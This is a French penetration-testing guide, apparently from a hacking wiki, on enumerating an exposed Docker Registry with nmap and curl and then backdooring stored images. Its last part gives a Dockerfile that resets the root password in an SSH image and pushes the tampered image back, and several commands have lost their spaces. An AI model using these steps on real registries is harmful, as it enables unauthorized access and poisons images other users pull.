Un système de stockage et de distribution appelé registre Docker est en place pour les images Docker qui sont nommées et peuvent exister en plusieurs versions, distinguées par des tags. Ces images sont organisées dans des dépôts Docker dans le registre, chaque dépôt stockant différentes versions d'une image spécifique. La fonctionnalité fournie permet de télécharger des images localement ou de les téléverser vers le registre, à condition que l'utilisateur ait les autorisations nécessaires.
DockerHub sert de registre public par défaut pour Docker, mais les utilisateurs ont également la possibilité de faire fonctionner une version sur site du registre/distribution Docker open-source ou d'opter pour le Docker Trusted Registry pris en charge commercialement. De plus, divers autres registres publics peuvent être trouvés en ligne.
Pour télécharger une image à partir d'un registre sur site, la commande suivante est utilisée :
dockerpullmy-registry:9000/foo/bar:2.1
Ce commande récupère l'image foo/bar de la version 2.1 depuis le registre sur site web au domaine my-registry sur le port 9000. En revanche, pour télécharger la même image depuis DockerHub, surtout si 2.1 est la dernière version, la commande se simplifie à:
dockerpullfoo/bar
Port par défaut : 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Découverte
La manière la plus simple de découvrir ce service en cours d'exécution est de l'obtenir dans la sortie de nmap. Quoi qu'il en soit, notez que comme c'est un service basé sur HTTP, il peut être derrière des proxies HTTP et nmap ne le détectera pas.
Quelques empreintes digitales :
Si vous accédez à /, rien n'est renvoyé dans la réponse
Si vous accédez à /v2/, alors {} est renvoyé
Si vous accédez à /v2/_catalog, vous pouvez obtenir :
Le registre Docker peut être configuré pour utiliser HTTP ou HTTPS. Donc, la première chose que vous devrez peut-être faire est de trouver lequel est configuré :
Le registre Docker peut également être configuré pour exiger une authentification :
curl-khttps://192.25.197.3:5000/v2/_catalog#If Authentication required{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required{"repositories":["alpine","ubuntu"]}
Si le Docker Registry nécessite une authentification, vous pouvez essayer de le forcer en utilisant ceci.
Si vous trouvez des identifiants valides, vous devrez les utiliser pour énumérer le registre, dans curl vous pouvez les utiliser de cette manière :
Une fois que vous avez obtenu l'accès au registre Docker, voici quelques commandes que vous pouvez utiliser pour l'énumérer :
#List repositoriescurl-shttp://10.10.10.10:5000/v2/_catalog{"repositories":["alpine","ubuntu"]}#Get tags of a repositorycurl-shttp://192.251.36.3:5000/v2/ubuntu/tags/list{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}#Get manifestscurl-shttp://192.251.36.3:5000/v2/ubuntu/manifests/latest{"schemaVersion":1,"name":"ubuntu","tag":"latest","architecture":"amd64","fsLayers": [{"blobSum":"sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"},{"blobSum":"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"},{"blobSum":"sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"}],"history": [{"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},{"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},{"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}],"signatures": [{"header":{"jwk":{"crv":"P-256","kid":"DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX","kty":"EC","x":"leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg","y":"Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"},"alg":"ES256"},"signature":"GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q","protected":"eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"}]}#Download one of the previously listed blobscurl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blobtar-xfblob1.tar#After this,inspect the new folders and files created in the current directory
Notez que lorsque vous téléchargez et décompressez les fichiers blobs, des dossiers et des fichiers apparaîtront dans le répertoire actuel. Si vous téléchargez tous les blobs et les décompressez dans le même dossier, ils écraseront les valeurs des blobs précédemment décompressés, soyez donc prudent. Il peut être intéressant de décompresser chaque blob dans un dossier différent pour inspecter le contenu exact de chaque blob.
Énumération en utilisant docker
#Once you know which images the server is saving (/v2/_catalog) you can pull themdockerpull10.10.10.10:5000/ubuntu#Check the commands used to create the layers of the imagedockerhistory10.10.10.10:5000/ubuntu#IMAGE CREATED CREATED BY SIZE COMMENT#ed05bef01522 2 years ago ./run.sh 46.8MB#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB#Run and get a shelldockerrun-it10.10.10.10:5000/ubuntubash#Leave this shell runningdockerps#Using a different shelldockerexec-it7d3a81fe42d7bash#Get ash shell inside docker container
Installation d'une porte dérobée dans l'image WordPress
Dans le scénario où vous avez trouvé un Docker Registry sauvegardant une image WordPress, vous pouvez y installer une porte dérobée.
Créez la porte dérobée :
Créez la nouvelle image, vérifiez qu'elle est créée, et poussez la :
dockerbuild-t10.10.10.10:5000/wordpress.#Createdockerimagesdockerpushregistry:5000/wordpress#Push it
Introduction d'une porte dérobée dans l'image du serveur SSH
Supposez que vous ayez trouvé un Docker Registry avec une image SSH et que vous souhaitez y introduire une porte dérobée.
Téléchargez l'image et exécutez la commande suivante :
```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **Créez** la nouvelle image, **vérifiez** qu'elle est créée, et **poussez** la : ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Références * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)